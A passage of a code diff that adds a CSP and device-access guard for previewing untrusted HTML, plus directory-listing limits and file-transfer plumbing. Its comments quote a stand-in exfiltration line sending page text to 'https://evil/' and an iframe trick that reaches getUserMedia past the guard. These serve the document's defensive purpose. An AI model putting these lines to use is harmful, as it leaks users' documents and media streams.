Error(\"FILE_PEER_TIMEOUT\")),6e4);function y(h){clearTimeout(F),n.removeEventListener(\"message\",C),n.removeEventListener(\"close\",p),h?f(h):E(g)}function p(){y(new Error(\"FILE_PEER_CLOSED\"))}function C(h){if(!(h.data instanceof ArrayBuffer)){y(new Error(\"FILE_PEER_BLOCK\"));return}let m=new Uint8Array(h.data);if(m.length!==Math.min(d,t-b)){y(new Error(\"FILE_PEER_SIZE\"));return}g.push(m),b+=m.length,(!m.length||g.length===16)&&y()}n.addEventListener(\"message\",C),n.addEventListener(\"close\",p);try{n.send(JSON.stringify({ticket:i,offset:c,credit:16}))}catch{p()}});for(let E of u){if(!E.length)return;let f=\"\";for(let g of E)f+=String.fromCharCode(g);if(await l.write(r,c,btoa(f)),o.get(e)!==s)throw new Error(\"FILE_PEER_CLOSED\");c+=E.length}}}catch(c){throw a(e),c}finally{s.busy=!1}}return{offer:P,accept:S,answer:I,receive:T,close:a,dispose:()=>{for(let e of o.keys())a(e)}}}return U(M);})();\n";
diff --git a/packages/device-link/src/index.ts b/packages/device-link/src/index.ts
index 50c4d33f58..abd227a5b2 100644
--- a/packages/device-link/src/index.ts
+++ b/packages/device-link/src/index.ts
@@ -7,23 +7,28 @@
* - allowlist: 远程 IPC 隧道的 channel 白名单(默认拒绝制)
* - client: DeviceLinkClient(重连 / 心跳 / 请求配对状态机)
*/
-export * from './protocol.js';
-export * from './allowlist.js';
-export * from './client.js';
-export * from './transport.js';
-export * from './topics.js';
-export * from './attachmentOssRef.js';
-export * from './contactsSyncProtocol.js';
-export * from './discordSchedulerProtocol.js';
-export * from './remoteResources.js';
-export * from './remoteDesktop.js';
-export * from './remoteDesktopViewerSession.js';
-export * from './remoteDesktopViewerMedia.js';
-export * from './deviceIdentity.js';
-export * from './remoteCredentials.js';
-export * from './remoteDesktopIce.js';
-export * from './remoteDesktopIceConfig.js';
-export * from './remoteClipboard.js';
-export * from './remoteCursor.js';
-export * from './peerRecoveryScheduler.js';
-export * from './invokePolicy.js';
+export * from "./protocol.js";
+export * from "./allowlist.js";
+export * from "./client.js";
+export * from "./transport.js";
+export * from "./topics.js";
+export * from "./attachmentOssRef.js";
+export * from "./contactsSyncProtocol.js";
+export * from "./discordSchedulerProtocol.js";
+export * from "./remoteResources.js";
+export * from "./remoteDesktop.js";
+export * from "./remoteDesktopViewerSession.js";
+export * from "./remoteDesktopViewerMedia.js";
+export * from "./deviceIdentity.js";
+export * from "./remoteCredentials.js";
+export * from "./remoteDesktopIce.js";
+export * from "./remoteDesktopIceConfig.js";
+export * from "./remoteClipboard.js";
+export * from "./remoteCursor.js";
+export * from "./peerRecoveryScheduler.js";
+export * from "./invokePolicy.js";
+export * from "./filePeer.js";
+export * from "./fileAccess.js";
+export * from "./filePeerRuntime.js";
+
+export { FILE_PEER_RUNTIME_SOURCE } from "./filePeerRuntimeSource.js";
diff --git a/packages/file-browser-core/src/__tests__/completeDirectory.test.ts b/packages/file-browser-core/src/__tests__/completeDirectory.test.ts
new file mode 100644
index 0000000000..e2ac3fed10
--- /dev/null
+++ b/packages/file-browser-core/src/__tests__/completeDirectory.test.ts
@@ -0,0 +1,37 @@
+import { afterEach, expect, it } from 'vitest';
+import fs from 'node:fs/promises';
+import os from 'node:os';
+import path from 'node:path';
+import { listDir } from '../scanner';
+import { loadIgnoreMatcher } from '../ignore';
+
+const roots: string[] = [];
+afterEach(async () => {
+ for (const root of roots.splice(0)) await fs.rm(root, { recursive: true, force: true });
+});
+
+it('separates complete enumeration from tree presentation filters', async () => {
+ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'complete-dir-'));
+ roots.push(root);
+ for (const name of ['dist', 'build', 'vendor']) await fs.mkdir(path.join(root, name));
+ for (const name of ['.env', 'asset.meta', 'index.html']) await fs.writeFile(path.join(root, name), 'fixture');
+ await fs.writeFile(path.join(root, 'dist/app.js'), 'fixture');
+ expect((await listDir(root, '')).map(e => e.name).sort()).toEqual(
+ ['.env', 'asset.meta', 'build', 'dist', 'index.html', 'vendor'],
+ );
+ const matcher = await loadIgnoreMatcher(root, { hideMetaFiles: true, honorVcsIgnore: false });
+ expect((await listDir(root, '', matcher)).map(e => e.name)).toEqual(['.env', 'index.html']);
+ expect((await listDir(root, 'dist')).map(e => e.relPath)).toEqual(['dist/app.js']);
+ await expect(listDir(root, '', null, { maxEntries: 2 })).rejects.toThrow('DIRECTORY_TOO_LARGE');
+ await expect(listDir(root, '', null, { maxEntries: NaN })).rejects.toThrow('Invalid');
+ await expect(listDir(root, '../')).rejects.toThrow('escapes');
+});
+
+it('retains realpath boundaries when listing without presentation filters', async () => {
+ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'complete-dir-'));
+ const outside = await fs.mkdtemp(path.join(os.tmpdir(), 'complete-outside-'));
+ roots.push(root, outside);
+ await fs.symlink(outside, path.join(root, 'link'));
+ expect(await listDir(root, '')).toEqual([]);
+ await expect(listDir(root, 'link')).rejects.toThrow('escapes');
+});
diff --git a/packages/file-browser-core/src/__tests__/ripgrep-exit-handling.test.ts b/packages/file-browser-core/src/__tests__/ripgrep-exit-handling.test.ts
index 3592f60d06..c85f10251f 100644
--- a/packages/file-browser-core/src/__tests__/ripgrep-exit-handling.test.ts
+++ b/packages/file-browser-core/src/__tests__/ripgrep-exit-handling.test.ts
@@ -130,7 +130,7 @@ describe('RipgrepSearcher fatal exit handling', () => {
}
function waitForSearch(
- searcher: InstanceType<ReturnType<typeof importSearcher>> extends Promise<infer P> ? P : never,
+ searcher: InstanceType<Awaited<ReturnType<typeof importSearcher>>>,
searchId: string,
): Promise<void> {
return new Promise<void>((resolve) => {
@@ -154,7 +154,7 @@ describe('RipgrepSearcher fatal exit handling', () => {
const events: unknown[] = [];
searcher.on('event', (ev) => events.push(ev));
- const searchId = searcher.start({ query: 'needle', workdir: '/tmp/work' });
+ const searchId = searcher.start({ query: 'needle', workdir: '/tmp/work', caseSensitive: false, maxMatches: 100 });
await waitForSearch(searcher, searchId);
const errorEvents = events.filter(
@@ -179,7 +179,7 @@ describe('RipgrepSearcher fatal exit handling', () => {
const events: unknown[] = [];
searcher.on('event', (ev) => events.push(ev));
- const searchId = searcher.start({ query: 'needle', workdir: '/tmp/work' });
+ const searchId = searcher.start({ query: 'needle', workdir: '/tmp/work', caseSensitive: false, maxMatches: 100 });
await waitForSearch(searcher, searchId);
const errorEvents = events.filter(
@@ -208,7 +208,7 @@ describe('RipgrepSearcher fatal exit handling', () => {
const events: unknown[] = [];
searcher.on('event', (ev) => events.push(ev));
- const searchId = searcher.start({ query: 'needle', workdir: '/tmp/work' });
+ const searchId = searcher.start({ query: 'needle', workdir: '/tmp/work', caseSensitive: false, maxMatches: 100 });
await waitForSearch(searcher, searchId);
const errorEvents = events.filter(
diff --git a/packages/file-browser-core/src/scanner.ts b/packages/file-browser-core/src/scanner.ts
index a44c866ac8..a8b077bca1 100644
--- a/packages/file-browser-core/src/scanner.ts
+++ b/packages/file-browser-core/src/scanner.ts
@@ -155,6 +155,8 @@ async function assertRealParentInsideWorkdir(
}
export interface ListDirOptions {
+ /** Optional transfer budget; exceeding it fails instead of returning a partial list. */
+ maxEntries?: number;
/**
* "Doc mode": only show doc/config text files (see DOC_MODE_EXTS); only
* show directories that have at least one such file as a descendant.
@@ -278,18 +280,23 @@ async function hasDocDescendant(
/**
* List entries of one directory (single-layer, no recursion). Filtered
- * through the workdir's ignore matcher. Sort: directories before files,
+ * through an optional presentation matcher. Without a matcher all ordinary
+ * files are listed, including hidden files and build outputs. Sort: directories before files,
* each group case-insensitive lexicographic — same convention as VSCode
* Explorer / Obsidian.
*/
export async function listDir(
workdir: string,
relPath: string,
- matcher: Matcher,
+ matcher: Matcher | null = null,
opts: ListDirOptions = {},
): Promise<DirEntry[]> {
+ if (opts.maxEntries !== undefined && (!Number.isSafeInteger(opts.maxEntries) || opts.maxEntries < 1)) {
+ throw new Error('Invalid directory entry limit');
+ }
const sub = assertInsideWorkdir(workdir, relPath);
const abs = sub === '' ? workdir : path.join(workdir, sub);
+ await assertRealPathInsideWorkdir(workdir, abs);
// In doc mode this top-level read participates in the same in-flight map as
// recursive descendant probes. An overlapping `listDir('src')` can thus
// reuse the read already started while listing the root, without retaining
@@ -297,6 +304,9 @@ export async function listDir(
const dirents = opts.docMode
? await readDocDirents(abs)
: await fs.readdir(abs, { withFileTypes: true });
+ if (opts.maxEntries !== undefined && dirents.length > opts.maxEntries) {
+ throw new Error('DIRECTORY_TOO_LARGE');
+ }
// Process all entries in parallel. With docMode on, each surviving subdir
// triggers a recursive hasDocDescendant probe — running siblings in
@@ -306,24 +316,27 @@ export async function listDir(
dirents.map(async (d): Promise<DirEntry | null> => {
const childRel = sub === '' ? d.name : `${sub}/${d.name}`;
const isDir = d.isDirectory();
- if (matcher.ignores(childRel, isDir)) return null;
+ if (matcher?.ignores(childRel, isDir)) return null;
// 原子写中间产物 — 隐藏不让前端看到一闪而过的临时行。
- if (!isDir && d.name.endsWith(XDT_TMP_SUFFIX)) return null;
+ if (matcher && !isDir && d.name.endsWith(XDT_TMP_SUFFIX)) return null;
// We need stats for size + mtime; use lstat to avoid following symlinks
// into Library/ et al. (some Unity setups symlink huge caches in).
let st: Stats;
try {
st = await fs.lstat(path.join(abs, d.name));
- } catch {
- // Permission denied or removed mid-scan — skip silently.
+ } catch (error) {
+ // Complete enumeration must not silently return a partial snapshot.
+ if (!matcher) throw error;
+ // Presentation mode tolerates files removed mid-scan or inaccessible entries.
return null;
}
// Skip symlinks unless they point inside the workdir; cheaper to just
// skip than to chase them. User can open via OS if needed.
if (st.isSymbolicLink()) return null;
+ if (!st.isDirectory() && !st.isFile()) return null;
if (opts.docMode) {
if (isDir) {
- if (!(await hasDocDescendant(path.join(abs, d.name), childRel, matcher))) {
+ if (!(await hasDocDescendant(path.join(abs, d.name), childRel, matcher ?? { ignores: () => false }))) {
return null;
}
} else if (!isDocModeFile(d.name)) {
diff --git a/packages/maker-shared/src/filePreview.ts b/packages/maker-shared/src/filePreview.ts
index d97e48040f..7551b74805 100644
--- a/packages/maker-shared/src/filePreview.ts
+++ b/packages/maker-shared/src/filePreview.ts
@@ -247,3 +247,5 @@ export function formatByteSize(bytes: number): string {
if (bytes < 1024 * 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
return `${(bytes / 1024 / 1024 / 1024).toFixed(1)} GB`;
}
+
+export { HTML_PREVIEW_CSP, HTML_SNAPSHOT_CSP, withHtmlPreviewCsp, withSnapshotHtmlCsp } from './htmlPreviewCsp.js';
diff --git a/packages/maker-shared/src/htmlPreviewCsp.ts b/packages/maker-shared/src/htmlPreviewCsp.ts
new file mode 100644
index 0000000000..0f649cc69c
--- /dev/null
+++ b/packages/maker-shared/src/htmlPreviewCsp.ts
@@ -0,0 +1,232 @@
+/**
+ * 给 HTML 预览文档注入内容安全策略(CSP)。
+ *
+ * 为什么需要:预览的是 agent 产出、可能受提示注入影响的**不可信**文档,而渲染态要保留
+ * JavaScript(设计稿的标签切换等交互依赖它)。而 `onShouldStartLoadWithRequest` **只管
+ * 导航**,完全不经过子资源请求 —— 一段
+ * `new Image().src = 'https://evil/?d=' + encodeURIComponent(document.body.innerText)`
+ * 会在用户打开预览的那一刻静默把文档正文发出去,导航回调一无所知(review P1 实捉)。
+ *
+ * 所以出网必须由**渲染引擎强制**关闭,而不是靠我们在导航回调里约定。这里用 meta CSP
+ * 关掉 CSP 管得到的全部出口:子资源、`fetch` / `XHR`、表单、iframe、插件。配套的另一半在
+ * HtmlFileReader:顶层导航只放行 `about:`,连用户点击的外链也不外送。
+ *
+ * 代价(刻意接受,PR 已写明):公网 https 图片 / 字体 / 脚本在预览里**不再加载**。
+ * 允许它们就等于留一条 `img-src https:` 的外传通道(`new Image().src='…?d=…'` 正是最经典的
+ * 姿势),那会让上面整段封锁形同虚设。
+ *
+ * ── ⚠️ 残留信道:WebRTC(**不要把本模块说成「零出网」**) ────────────────────
+ * `RTCPeerConnection` 的 ICE / STUN / DTLS 流量**不受 CSP 各 `*-src` 指令管辖** —— 恶意脚本
+ * 可以把文档内容编码进 STUN 服务器域名,或直接与固定 peer 建数据通道外传,全程不经过导航
+ * 回调、也不产生任何 CSP 管辖的 URL 请求(review P1 实捉)。本文件与 HtmlFileReader 早先的
+ * 注释把这套封锁描述成绝对的,**那是错的**,已改;守卫用例禁止那类措辞回归。
+ *
+ * 已做的收窄:
+ * - `webrtc 'block'`(CSP3):**实测在任何平台都没有生效,不要把它当成封锁依据**。
+ * 早先这里照着 CSP3 spec 推断它在 Chromium 系已落地、于是断言 Android 那一侧被它封住 ——
+ * 那个推断**没有实测**,是错的。实机验(Chrome 150.0.7871.187,远高于 spec 标注的版本):
+ * 经 `<meta http-equiv>` 与 HTTP `Content-Security-Policy` 响应头**两种下发方式**,
+ * 顶层 `new RTCPeerConnection()` 都照常构造成功 —— 该指令在当前引擎里是装饰品。
+ * iOS 的 WKWebView(WebKit)本来就不认。**指令保留**(未知/未实现指令被引擎忽略,零副作用,
+ * 将来引擎真落地了自动生效),但当前对 WebRTC 的实际封锁**只来自下面那段 guard 删构造函数**,
+ * 而 guard 只作用于顶层 realm。守卫用例禁止「那一侧真封住」这类措辞回归。
+ * - `mediaCapturePermissionGrantType="deny"`(见 HtmlFileReader):挡掉摄像头 / 麦克风取用,
+ * **但只在 iOS 生效** —— Android 的同名 setter 是空函数,详见下面 guard 的注释。
+ * 它**不能**关闭 WebRTC 外传 —— 纯数据通道与 STUN 候选收集都不需要媒体权限;这条是
+ * 「不可信页面不该弹权限框」本身的正确做法,不要当成 WebRTC 的解。
+ *
+ * 逐平台、逐 realm 的完整残留见下面 guard 注释里的**实测矩阵**;要完整闭合只有
+ * `javaScriptEnabled={false}` 一条路,那会让带交互的产物(标签切换、折叠、图表)退化成静态页
+ * —— 属产品取舍,已在 PR 描述里显式提给放行人裁决,本层不擅自决定。
+ *
+ * 与「同目录资源透传」的关系(见 htmlLocalResources,栈上一层):资源一律以 `data:` URI
+ * 内联、页面里不出现任何 bearer 凭证。那条路把被控端的文件内容带进页面,更需要这里的
+ * 封锁 —— 但封锁本身属于「在 WebView 里渲染不可信 HTML」这件事,所以留在这一层。
+ */
+
+/** 预览文档的策略:默认全拒,只放行内联与 data: 资源,CSP 管得到的出口一律关闭。 */
+export const HTML_PREVIEW_CSP = [
+ "default-src 'none'",
+ "img-src data:",
+ "media-src data:",
+ "font-src data:",
+ "style-src 'unsafe-inline' data:",
+ "script-src 'unsafe-inline' data:",
+ // Never let a temporary snapshot install a worker on a reusable loopback origin.
+ "worker-src 'none'",
+ "connect-src 'none'",
+ "form-action 'none'",
+ "base-uri 'none'",
+ "frame-src 'none'",
+ "object-src 'none'",
+ // **实测未生效**(Chrome 150 上 meta 与 HTTP 头两种下发都不拦),留着是等引擎将来实现;
+ // 未实现的指令被忽略、不影响其余策略。当前 WebRTC 的实际封锁来自 guard,见头注。
+ "webrtc 'block'",
+].join("; ");
+
+const CSP_META = `<meta http-equiv="Content-Security-Policy" content="${HTML_PREVIEW_CSP}">`;
+
+/** HTTP snapshots can load their own static assets, but no other origin. */
+export const HTML_SNAPSHOT_CSP = HTML_PREVIEW_CSP.replace(
+ "img-src data:",
+ "img-src 'self' data:",
+)
+ .replace("media-src data:", "media-src 'self' data:")
+ .replace("font-src data:", "font-src 'self' data:")
+ .replace(
+ "style-src 'unsafe-inline' data:",
+ "style-src 'self' 'unsafe-inline' data:",
+ )
+ .replace(
+ "script-src 'unsafe-inline' data:",
+ "script-src 'self' 'unsafe-inline' data:",
+ )
+ .replace("connect-src 'none'", "connect-src 'self'");
+
+/**
+ * 设备与 WebRTC 面的剥离脚本 —— **必须是文档里第一段脚本**。
+ *
+ * ── 为什么用内联脚本而不是 WebView prop / native patch(review P0) ────────────
+ * `mediaCapturePermissionGrantType="deny"` **只在 iOS 生效**:Android 侧
+ * `RNCWebViewManager.java` 的 setter 是空函数(已在 node_modules 里核实
+ * `setMediaCapturePermissionGrantType(RNCWebViewWrapper view, @Nullable String value) {}`),
+ * 权限实际由 `RNCWebChromeClient.onPermissionRequest` 按 **app 级 OS 运行时权限**判定 ——
+ * 用户为语音输入 / 拍照附件授过 `RECORD_AUDIO` / `CAMERA` 之后(常见状态),这个"离线沙箱"里
+ * 的任意不可信 HTML 都能零提示拿到实时音视频流。react-native-webview 也没有暴露
+ * `onPermissionRequest` 之类的回调可供拒绝。
+ *
+ * 两条备选都不划算:
+ * - **patch 原生**(`dependency-patches/[email protected]` 机制已在):改的是
+ * Android Java,会变动原生构建 → 触发冷更门,需要把关人对冷更单独确认,代价远大于本修复;
+ * - **`injectedJavaScriptBeforeContentLoaded`**:与解析赛跑(Android 靠 `onPageStarted` 触发),
+ * 作者脚本可能先跑,是 mitigation 不是 fix。
+ *
+ * 而这段脚本拼在文档最前面,**由解析器保证先于任何作者脚本执行,没有竞态** —— 与 CSP meta
+ * 同一个位置、同一个理由。它把能力面直接删掉,不依赖任何平台的权限实现是否正确。
+ *
+ * **必须同时盖原型**:只在 `navigator` 上建同名遮蔽属性,只挡住 `navigator.x` 这种写法,
+ * 原型方法仍可 `Navigator.prototype.webkitGetUserMedia.call(navigator, ...)` 取出来直接调
+ * (review P1 实捉,上一版漏了两个前缀变体)。所以名单 × {实例, 原型} 两处一起盖。
+ *
+ * 属性用 `writable: false, configurable: false` 定死,重定义会抛。
+ *
+ * ── ⚠️ 残留:**子 browsing context 拿得到未加固的 realm** ────────────────────
+ * 早先这里写过「CSP 的 `frame-src 'none'` / `object-src 'none'` 封掉了 iframe,所以作者拿不到
+ * 干净 realm」。**那是错的**(review P1 实捉,已实测确认):`frame-src` 管的是 frame 的**导航**,
+ * 而无 `src` 的 iframe 会**同步**得到一个初始 `about:blank` 子上下文 —— 不发生 fetch、CSP 不介入。
+ * 实测(headless Chromium)加固页与裸页拿到的绕过路径完全相同:
+ * `iframe.contentWindow.RTCPeerConnection` / `.navigator.mediaDevices` 都是原装的。
+ *
+ * 本脚本现在封掉了**便捷取法**(四类嵌入元素的 `contentWindow` / `contentDocument` 恒 null),
+ * 但**封不住索引取法**:`window[0]` / `window.frames[0]` 仍指向子 realm,而
+ * `Object.defineProperty(window,'0',…)` 在 WindowProxy 上直接抛
+ * `TypeError: Failed to set an indexed property` —— 无法覆写。而且 iframe 根本不需要脚本创建:
+ * 不可信 HTML 里直接写一个 `<iframe>`,解析期就有子上下文了。
+ *
+ * ── 实测残留矩阵(逐格都有依据,别再凭 spec 推) ──────────────────────────────
+ * 顶层 realm 由本 guard 覆盖;子 realm 指不可信 HTML 里直接写一个 `<iframe>` 得到的初始
+ * `about:blank` 上下文 —— 它**不需要脚本创建**,解析期就在,`window[0]` 即可取到。
+ *
+ * 能力面 顶层 realm 子 realm(srcless iframe)
+ * ─────────────────── ─────────────────── ─────────────────────────────────────
+ * fetch / XHR 外传 CSP connect-src **封住** —— about:blank 继承父文档 CSP(实测)
+ * mic / camera · iOS guard 删属性 **封住** —— 原生 mediaCapturePermissionGrantType
+ * ="deny" 在原生层判定,不分 realm
+ * mic / camera · Andr guard 删属性 **可达** —— setter 是空函数,实际由
+ * RNCWebChromeClient.onPermissionRequest 判 app 级
+ * OS 权限;已授权则**同步 grant、零提示**
+ * WebRTC 外传 · 两端 guard 删构造函数 **可达** —— webrtc 'block' 实测无效(见上),
+ * CSP 各 *-src 管不到 ICE/STUN/DTLS
+ *
+ * **结论(如实记录,不要再声称已封死)**:只要 JavaScript 开着,文档层就无法保证「设备能力
+ * 与 WebRTC 对不可信 HTML 完全不可达」—— 上表右列那两个「可达」格子,是**一行代码可达**,
+ * 不是理论残留:`<iframe></iframe><script>window[0].navigator.mediaDevices.getUserMedia(…)</script>`。
+ * 要完整闭合只有两条路,都属产品/发布层决定:
+ * 1. `javaScriptEnabled={false}` —— 没有作者脚本,右列**整列**随之消失(带交互的产物退化成静态页);
+ * 2. 在原生权限层统一 deny —— 能补上 Android 的 mic/camera 那一格(原生层不分 realm),但
+ * **补不上 WebRTC 那一格**(两端都无对应原生开关),而且改 Android Java 会变动原生构建 →
+ * 触发冷更门,需把关人针对冷更单独确认。
+ * 已在 PR 描述里列成待裁决项。
+ *
+ * **这不改变「预览保留 JavaScript」这个已定的产品取舍** —— 脚本照旧执行,顶层没有摄像头、
+ * 麦克风与 WebRTC 三样能力;上表是这个取舍的完整代价,交给放行人看。
+ *
+ * ⚠️ 脚本文本里**不得出现 `</script>`**,否则会提前闭合(这里没有,用例钉住)。
+ */
+const DEVICE_SURFACE_GUARD =
+ "<script>(function(){" +
+ "var freeze=function(o,k){try{Object.defineProperty(o,k," +
+ "{value:undefined,writable:false,configurable:false});}catch(e){}};" +
+ // **每个名字都盖「实例 + 原型」两处** —— 写成一个 both() 而不是逐条列举,是因为上一版
+ // 只给 mediaDevices / getUserMedia 盖了原型、漏了两个前缀变体,于是
+ // `Navigator.prototype.webkitGetUserMedia.call(navigator, ...)` 能绕过守卫(review P1 实捉)。
+ // 遮蔽实例属性只挡住 `navigator.x` 这一种写法,原型方法照旧可以 .call 出来。
+ // 用一份名单 × 两个目标,漏一边在结构上就不可能了 —— 以后加名字也不会再漏。
+ "var both=function(k){freeze(navigator,k);" +
+ "try{freeze(Navigator.prototype,k);}catch(e){}};" +
+ "try{" +
+ "['mediaDevices','getUserMedia','webkitGetUserMedia','mozGetUserMedia']" +
+ ".forEach(both);" +
+ "['RTCPeerConnection','webkitRTCPeerConnection','RTCDataChannel']" +
+ ".forEach(function(k){freeze(window,k);});" +
+ // 兜底一层:MediaDevices 实例本应取不到(上面已盖两处),但若某引擎另有取法,
+ // 把原型方法也盖掉,代价一行。
+ "if(typeof MediaDevices!=='undefined'&&MediaDevices.prototype)" +
+ "{freeze(MediaDevices.prototype,'getUserMedia');}" +
+ // 子 browsing context 的**便捷取法**一并封掉(review P1):无 src 的 iframe 会同步得到一个
+ // 未加固的初始 about:blank realm,`iframe.contentWindow.RTCPeerConnection` 就绕过了上面
+ // 全部冻结。这里把四类嵌入元素的 contentWindow / contentDocument 取值器改成恒 null。
+ // ⚠️ 这**不是完整封锁**,残留见头注「子 realm」一节 —— `window[0]` 挡不住。
+ "['HTMLIFrameElement','HTMLFrameElement','HTMLObjectElement','HTMLEmbedElement']" +
+ ".forEach(function(n){try{var C=window[n];if(C&&C.prototype){" +
+ "['contentWindow','contentDocument'].forEach(function(k){" +
+ "try{Object.defineProperty(C.prototype,k," +
+ "{get:function(){return null;},configurable:false});}catch(e){}});" +
+ "}}catch(e){}});" +
+ "}catch(e){}})();</scr" +
+ "ipt>";
+
+/** 我们自己的前导段:标准模式 + 策略 + 能力剥离,一次性拼在最前面。 */
+const CSP_PROLOG = `<!doctype html>${CSP_META}${DEVICE_SURFACE_GUARD}`;
+
+/**
+ * 给文档加上 CSP。**不去定位作者写在哪的 doctype —— 自己前置一个。**
+ *
+ * ── 为什么改成这样(root cause,别再"优化"回定位方案) ──────────────────────
+ * 原实现试图找到作者的 doctype、把 meta 插在它后面(为了不让文档掉进 quirks mode)。
+ * 那条路要求我们**用手写扫描去解析 HTML 前导段**,而前导段能出现的 token 是开放集合:
+ * 空白、BOM、`<!-- -->`、`<?xml ?>` / `<?php ?>` 等处理指令、CDATA…… review 因此连挖三轮
+ * (紧贴开头 → 前导注释 → 处理指令),每补一个 token 就还剩下一个。这不是边界没修够,
+ * 是**方法错**:定位作者 doctype 需要真正的 HTML 前导解析器,不该在业务代码里手写。
+ *
+ * 现在把问题消掉而不是解决它:**总是自己前置 `<!doctype html>` + CSP meta**,原文整份跟在
+ * 后面一字不动。于是「插在哪」不存在,上面那一整类 token 也不需要认识:
+ * - 原文自带 doctype → 解析器先见我们的、已进标准模式;原文那个按 HTML 规范在
+ * "in body" 插入模式被忽略(parse error, ignore the token),无副作用;
+ * - 原文以 `<?xml ?>` / `<?php ?>` / 注释 / CDATA 开头 → 它们照旧变 bogus comment,
+ * 与不加策略时的解析结果一致;
+ * - 策略仍在**任何作者内容之前**生效 —— 这是 meta CSP 唯一安全的位置(见下)。
+ * 唯一需要单独处理的是 BOM:必须前移到我们的前导段之前,否则会变成文档中间的游离字符。
+ *
+ * ⚠️ 仍然**刻意不去找 `<head>`**(review P1,两个 bot 各报过一次):找 `<head>` 的正则会
+ * 命中注释里的假标签(`<!-- <head> -->`),CSP 被插进注释、策略整份失效;即使命中真的
+ * `<head>`,它**之前**的内容(浏览器会照常执行前置 `<script>`)仍在策略生效前跑。
+ *
+ * 已知代价(刻意接受):**原本没有 doctype、依赖 quirks mode 排版的产物会变成标准模式。**
+ * agent 生成的 HTML 基本都自带 `<!doctype html>`;而 quirks 模式的排版差异远小于「策略没生效」
+ * 或「整份掉进 quirks」这两种旧失败模式。
+ */
+export function withHtmlPreviewCsp(html: string): string {
+ // BOM 前移:它必须留在文档最前面,否则会成为游离字符。
+ if (html.charCodeAt(0) === 0xfeff)
+ return `\uFEFF${CSP_PROLOG}${html.slice(1)}`;
+ return `${CSP_PROLOG}${html}`;
+}
+
+/** Every HTML in a snapshot is guarded before the native listener can serve it. */
+export function withSnapshotHtmlCsp(html: string): string {
+ const prolog = `<!doctype html><meta charset="utf-8"><meta http-equiv="Content-Security-Policy" content="${HTML_SNAPSHOT_CSP}">${DEVICE_SURFACE_GUARD}`;
+ return html.charCodeAt(0) === 0xfeff
+ ? `\uFEFF${prolog}${html.slice(1)}`
+ : `${prolog}${html}`;
+}
diff --git a/packages/remote-file-service/src/__tests__/rpc.test.ts b/packages/remote-file-service/src/__tests__/rpc.test.ts
index 45fa964226..80037790ca 100644
--- a/packages/remote-file-service/src/__tests__/rpc.test.ts
+++ b/packages/remote-file-service/src/__tests__/rpc.test.ts
@@ -88,6 +88,13 @@ describe('remote-file-service RPC end-to-end', () => {
expect(entries[0]?.type).toBe('directory');
});
+ it('listDir can return complete entries over the same RPC', async () => {
+ await client.connect();
+ const { entries } = await client.request('listDir', { workdir, includeIgnored: true, docMode: true });
+ expect(entries.map(e => e.name)).toEqual(expect.arrayContaining(['node_modules', '.gitignore', 'blob.bin']));
+ await expect(client.request('listDir', { workdir, includeIgnored: true, maxEntries: 1 })).rejects.toThrow('DIRECTORY_TOO_LARGE');
+ });
+
it('readFile returns content and BINARY_FILE for binaries', async () => {
await client.connect();
const file = await client.request('readFile', { workdir, relPath: 'src/a.ts' });
diff --git a/packages/remote-file-service/src/protocol.ts b/packages/remote-file-service/src/protocol.ts
index 20c2913263..a1572fbe16 100644
--- a/packages/remote-file-service/src/protocol.ts
+++ b/packages/remote-file-service/src/protocol.ts
@@ -33,10 +33,10 @@ import type {
} from '@cindy/file-browser-core';
/** 协议兼容版本:client 与 daemon 严格相等才可用。改动任何请求/响应形状时 +1。 */
-export const FILE_SERVICE_SCHEMA_VERSION = 2;
+export const FILE_SERVICE_SCHEMA_VERSION = 3;
/** 人读 bundle 版本(probe / 日志用),行为变化时手动 bump。 */
-export const FILE_SERVICE_BUNDLE_VERSION = '0.2.4';
+export const FILE_SERVICE_BUNDLE_VERSION = '0.2.5';
/* ============================== 帧 ============================== */
@@ -132,7 +132,7 @@ export interface FsRpcMethods {
};
};
listDir: {
- params: { workdir: string; relPath?: string; hideMetaFiles?: boolean; docMode?: boolean };
+ params: { workdir: string; relPath?: string; hideMetaFiles?: boolean; docMode?: boolean; includeIgnored?: boolean; maxEntries?: number };
result: { entries: DirEntry[] };
};
readFile: {
diff --git a/packages/remote-file-service/src/server.ts b/packages/remote-file-service/src/server.ts
index 812496754c..4424b0c15a 100644
--- a/packages/remote-file-service/src/server.ts
+++ b/packages/remote-file-service/src/server.ts
@@ -137,12 +137,13 @@ export function runFileService(
},
listDir: async (p) => {
const workdir = requireString(p?.workdir, 'workdir');
- const matcher = await loadIgnoreMatcher(workdir, {
+ const matcher = p?.includeIgnored === true ? null : await loadIgnoreMatcher(workdir, {
hideMetaFiles: p?.hideMetaFiles ?? true,
honorVcsIgnore: false,
});
const entries = await listDir(workdir, p?.relPath ?? '', matcher, {
- docMode: p?.docMode,
+ docMode: p?.includeIgnored === true ? false : p?.docMode,
+ maxEntries: p?.maxEntries,
});
return { entries };
},
diff --git a/scripts/file-peer-runtime.mjs b/scripts/file-peer-runtime.mjs
new file mode 100644
index 0000000000..a418f23f1e
--- /dev/null
+++ b/scripts/file-peer-runtime.mjs
@@ -0,0 +1,14 @@
+// Generate the WebView script before Hermes compiles the native JS bundle.
+import { createRequire } from 'node:module';
+import { readFile, writeFile } from 'node:fs/promises';
+import { fileURLToPath } from 'node:url';
+const require = createRequire(new URL('../apps/desktop/package.json', import.meta.url));
+const { build } = require('esbuild');
+const entry = fileURLToPath(new URL('../packages/device-link/src/filePeerRuntime.ts', import.meta.url));
+const destination = new URL('../packages/device-link/src/filePeerRuntimeSource.ts', import.meta.url);
+const output = await build({ entryPoints: [entry], bundle: true, write: false, format: 'iife', globalName: 'CindyFilePeerRuntime', target: 'es2020', minify: true });
+const content = '// Generated by node scripts/file-peer-runtime.mjs. Do not edit.\n' +
+ 'export const FILE_PEER_RUNTIME_SOURCE = ' + JSON.stringify(output.outputFiles[0].text) + ';\n';
+if (process.argv.includes('--check')) {
+ if (await readFile(destination, 'utf8') !== content) throw new Error('Run node scripts/file-peer-runtime.mjs');
+} else await writeFile(destination, content);
diff --git a/scripts/file-peer-smoke.mjs b/scripts/file-peer-smoke.mjs
new file mode 100644
index 0000000000..ba5732f487
--- /dev/null
+++ b/scripts/file-peer-smoke.mjs
@@ -0,0 +1,52 @@
+// Real browser checks against production transport code. No account or user files required.
+import { createRequire } from 'node:module';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+const root = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..');
